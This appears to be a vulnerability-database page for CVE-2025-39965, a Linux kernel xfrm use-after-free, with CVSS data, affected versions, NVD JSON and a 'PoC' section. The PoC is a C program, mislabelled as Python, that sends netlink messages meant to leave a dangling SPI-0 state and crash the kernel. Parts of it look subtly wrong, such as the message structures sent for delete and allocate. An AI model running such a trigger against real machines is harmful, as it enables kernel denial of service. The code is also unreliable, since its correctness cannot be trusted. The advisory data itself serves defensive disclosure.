Security Vulnerability Report
中文
CVE-2025-39965 CVSS 5.5 MEDIUM

CVE-2025-39965

Published: 2025-10-13 14:15:35
Last Modified: 2026-02-26 23:04:59
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: xfrm: xfrm_alloc_spi shouldn't use 0 as SPI x->id.spi == 0 means "no SPI assigned", but since commit 94f39804d891 ("xfrm: Duplicate SPI Handling"), we now create states and add them to the byspi list with this value. __xfrm_state_delete doesn't remove those states from the byspi list, since they shouldn't be there, and this shows up as a UAF the next time we go through the byspi list.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.17:rc1:*:*:*:*:*:* - VULNERABLE
Linux Kernel 引入重复SPI处理逻辑后至修复前的所有版本(commit 94f39804d891之后的版本)
Linux Kernel stable分支(需检查各发行版的具体内核版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-39965 PoC - Trigger UAF in xfrm byspi list // This PoC triggers the Use-After-Free vulnerability by: // 1. Allocating an xfrm state with SPI=0 // 2. Deleting the state (which doesn't remove it from byspi list) // 3. Triggering a byspi list traversal (UAF access) #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/xfrm.h> #include <errno.h> #define NETLINK_XFRM 6 #define XFRM_MSG_NEWSA 16 #define XFRM_MSG_DELSA 17 #define XFRM_MSG_ALLOCSPI 20 static int nl_sock = -1; static struct sockaddr_nl src_addr, dst_addr; int init_netlink() { nl_sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); if (nl_sock < 0) { perror("socket"); return -1; } memset(&src_addr, 0, sizeof(src_addr)); src_addr.nl_family = AF_NETLINK; bind(nl_sock, (struct sockaddr*)&src_addr, sizeof(src_addr)); return 0; } // Step 1: Allocate SPI (triggers xfrm_alloc_spi with potentially SPI=0) int trigger_allocspi() { struct { struct nlmsghdr nh; struct xfrm_userspi_info xspi; } req; memset(&req, 0, sizeof(req)); req.nh.nlmsg_len = NLMSG_LENGTH(sizeof(req.xspi)); req.nh.nlmsg_type = XFRM_MSG_ALLOCSPI; req.nh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; // Set up transform to potentially get SPI=0 req.xspi.info.family = AF_INET; req.xspi.id.proto = IPPROTO_AH; req.xspi.id.spi = 0; // Request SPI=0 req.xspi.info.mode = XFRM_MODE_TUNNEL; return send(nl_sock, &req, req.nh.nlmsg_len, 0); } // Step 2: Delete the state (leaves dangling pointer in byspi list) int trigger_delsa() { struct { struct nlmsghdr nh; struct xfrm_usersa_info xsinfo; } req; memset(&req, 0, sizeof(req)); req.nh.nlmsg_len = NLMSG_LENGTH(sizeof(req.xsinfo)); req.nh.nlmsg_type = XFRM_MSG_DELSA; req.nh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; req.xsinfo.family = AF_INET; req.xsinfo.id.proto = IPPROTO_AH; req.xsinfo.id.spi = 0; // SPI=0 state req.xsinfo.id.daddr.a4 = inet_addr("127.0.0.1"); return send(nl_sock, &req, req.nh.nlmsg_len, 0); } // Step 3: Trigger byspi list traversal (causes UAF) int trigger_byspi_traversal() { struct { struct nlmsghdr nh; struct xfrm_userspi_info xspi; } req; memset(&req, 0, sizeof(req)); req.nh.nlmsg_len = NLMSG_LENGTH(sizeof(req.xspi)); req.nh.nlmsg_type = XFRM_MSG_ALLOCSPI; req.nh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; req.xspi.info.family = AF_INET; req.xspi.id.proto = IPPROTO_AH; req.xspi.id.spi = htonl(1); // Trigger lookup in byspi list return send(nl_sock, &req, req.nh.nlmsg_len, 0); } int main() { printf("CVE-2025-39965 PoC - xfrm UAF via SPI=0\n"); if (init_netlink() < 0) { fprintf(stderr, "Need CAP_NET_ADMIN privilege\n"); return 1; } printf("[*] Step 1: Allocating xfrm state with SPI=0\n"); trigger_allocspi(); printf("[*] Step 2: Deleting state (leaves dangling byspi entry)\n"); trigger_delsa(); printf("[*] Step 3: Triggering byspi list traversal (UAF)\n"); trigger_byspi_traversal(); printf("[+] PoC executed. Check dmesg for kernel oops/panic.\n"); close(nl_sock); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-39965", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-13T14:15:34.910", "lastModified": "2026-02-26T23:04:59.490", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nxfrm: xfrm_alloc_spi shouldn't use 0 as SPI\n\nx->id.spi == 0 means \"no SPI assigned\", but since commit\n94f39804d891 (\"xfrm: Duplicate SPI Handling\"), we now create states\nand add them to the byspi list with this value.\n\n__xfrm_state_delete doesn't remove those states from the byspi list,\nsince they shouldn't be there, and this shows up as a UAF the next\ntime we go through the byspi list."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.6.103", "versionEndExcluding": "6.6.109", "matchCriteriaId": "A33D59EB-F9EC-4F4A-B85C-8B9DF77F0CBE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.12.43", "versionEndExcluding": "6.12.50", "matchCriteriaId": "D946BB01-10F6-44C7-A2E5-672C4B746920"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.15.11", "versionEndExcluding": "6.16", "matchCriteriaId": "53FE35DC-2528-48D7-A855-1127CA02EE4D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.16.2", "versionEndExcluding": "6.16.10", "matchCriteriaId": "EDE9892A-2523-424A-8D02-DFCE8B965230"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc1:*:*:*:*:*:*", "matchCriteriaId": "327D22EF-390B-454C-BD31-2ED23C998A1C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc2:*:*:*:*:*:*", "matchCriteriaId": "C730CD9A-D969-4A8E-9522-162AAF7C0EE9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc3:*:*:*:*:*:*", "matchCriteriaId": "39982C4B-716E-4B2F-8196-FA301F47807D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc4:*:*:*:*:*:*", "matchCriteriaId": "340BEEA9-D70D-4290-B502-FBB1032353B1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc5:*:*:*:*:*:*", "matchCriteriaId": "47E4C5C0-079F-4838-971B-8C503D48FCC2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc6:*:*:*:*:*:*", "matchCriteriaId": "5A4516A6-C12E-42A4-8C0E-68AEF3264504"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc7:*:*:*:*:*:*", "matchCriteriaId": "3963C3A0-CEA1-4F5C-8011-3A593ABB684D"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/0baf92d0b1590b903c1f4ead75e61715e50e8146", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/9fcedabaae0096f712bbb4ccca6a8538af1cd1c8", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/a78e55776522373c446f18d5002a8de4b09e6bf7", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/cd8ae32e4e4652db55bce6b9c79267d8946765a9", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}